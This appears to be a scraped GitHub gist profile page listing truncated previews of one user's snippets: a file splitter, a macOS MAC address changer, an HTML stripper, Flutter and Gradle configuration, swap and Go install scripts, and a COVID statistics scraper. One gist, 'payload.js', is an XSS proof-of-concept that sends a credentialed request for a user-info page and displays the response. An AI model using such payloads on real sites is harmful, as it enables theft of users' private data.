Skip to content

Instantly share code, notes, and snippets.

View cyb3rsalih's full-sized avatar

mehmet salih bindak cyb3rsalih

View GitHub Profile
@cyb3rsalih
cyb3rsalih / split_txt_file.py
Last active February 28, 2023 12:01
Large file splitter
import sys
if len(sys.argv) != 3:
print("Usage: python script.py BUYUK_DOSYA_ADI SATIR_SAYISI_LIMITI")
sys.exit(1)
# Komut satırı argümanlarını al
buyuk_dosya_adi = sys.argv[1]
satir_sayisi_limiti = int(sys.argv[2])
@cyb3rsalih
cyb3rsalih / mac_address_changer.sh
Last active February 27, 2023 13:16
MAC address Changer for MacOS
#!/bin/bash
# Show the list of network interfaces
echo "Available network interfaces:"
networksetup -listallhardwareports | grep "Hardware Port"
# Prompt the user to enter the interface number
echo "Enter the number of the interface you want to change (e.g., 1 for en0): "
read interface_num
@cyb3rsalih
cyb3rsalih / remove_html_elements.py
Created January 9, 2023 08:03
Remove HTML elements from a file
import re
mext = ''
with open('html.txt', 'r') as f:
text = f.read()
mext = re.sub('<[^<]+?>', '', text)
with open('without_html.txt', 'w') as x:
@cyb3rsalih
cyb3rsalih / main.go
Created November 14, 2022 09:31
Go File and Folder Creating
// mkdir program && cd program
// touch main.go
// paste code to main.go
// go build
// ./program
package main
import (
@cyb3rsalih
cyb3rsalih / modal_bottom_sheet.dart
Created October 3, 2022 11:29
Modal Bottom Sheet
awesomeWidget(BuildContext context) {
var verticalGestures = Factory<VerticalDragGestureRecognizer>(() => VerticalDragGestureRecognizer());
var gestureSet = {verticalGestures};
final Completer<WebViewController> _controller = Completer<WebViewController>();
Future<void> _loadHtmlString(Completer<WebViewController> controller, BuildContext context) async {
WebViewController _controller = await controller.future;
await _controller.loadHtmlString(webview_content);
}
@cyb3rsalih
cyb3rsalih / build.gradle
Created June 21, 2022 10:23
Android App for Release (Flutter)
// You should have ../key.properties , and ../app.keystore file
def localProperties = new Properties()
def localPropertiesFile = rootProject.file('local.properties')
if (localPropertiesFile.exists()) {
localPropertiesFile.withReader('UTF-8') { reader ->
localProperties.load(reader)
}
}
@cyb3rsalih
cyb3rsalih / payload.js
Created May 31, 2022 09:04
XSS Exploit payload
// The code executed on vulnerable domain, to make request which have sensitive information.
function resp(){
alert(this.responseText);
}
var xhttp = new XMLHttpRequest();
xhttp.addEventListener("load",resp);
xhttp.open("GET","https://apple.com/user/info");
xhttp.withCredentials = true; // this will add cookie to request
@cyb3rsalih
cyb3rsalih / swap.sh
Created December 18, 2021 21:22
Create swap area on linux
#!/bin/bash
echo "Start to create 4GB Swap Area..."
sudo fallocate -l 4G /swapfile
ls -lh /swapfile >> /dev/null
sudo chmod 600 /swapfile
ls -lh /swapfile >> /dev/null
sudo mkswap /swapfile
sudo swapon /swapfile
sudo echo "/swapfile none swap sw 0 0" >> /etc/fstab
echo "Finished!"
@cyb3rsalih
cyb3rsalih / go.sh
Last active January 4, 2022 21:32
Download Go and Install - Linux
#!/bin/bash
#Download GO and install it
curl=$(which curl)
outfile="output.txt"
base_url="https://go.dev"
download="dl"
url="$base_url/$download/"
@cyb3rsalih
cyb3rsalih / corona.py
Created October 5, 2020 20:05
Get corona statistics with scrapy script (28.03.2020)
#import json
from scrapy.selector import Selector
from requests import get
from time import sleep
def update():
r = get(url)
source_code = r.text
total_cases = Selector(text=source_code).xpath('//*[@id="maincounter-wrap"][1]/div/span/text()').get()